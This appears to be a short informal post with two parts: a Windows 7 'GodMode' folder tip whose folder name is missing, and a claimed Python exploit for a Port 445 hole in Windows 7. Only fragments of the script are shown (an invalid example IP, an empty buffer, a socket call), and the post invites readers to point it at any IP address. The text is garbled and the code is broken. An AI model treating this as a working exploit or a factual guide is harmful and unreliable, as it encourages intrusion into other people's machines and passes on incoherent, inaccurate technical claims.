So, I though this was quite interesting..
First, create a folder wherever, I put mine in C:\, then rename it to the following (EXACTLY AS IT IS):
You get full access to all of your setting right in one folder. The text string is a GUID key, generated by the IDE when the code is built and are referenced in code by an alias.
So that can save you some time..please note that this feature is only available to Windows 7 users.
I found this interesting python script that exploits a hole in Port 445 in Windows 7. Anyway, it will likely be patched soon, and you CAN get in trouble for using this, so use with caution.
host = “129.4.5.01″, 445
buff = (
s = socket()
Since MS decided to leave Port 445 open, we are able to do the preceding.
You can implent any IP address you have, “129.4.5.01″ is a fake one I just used for an example.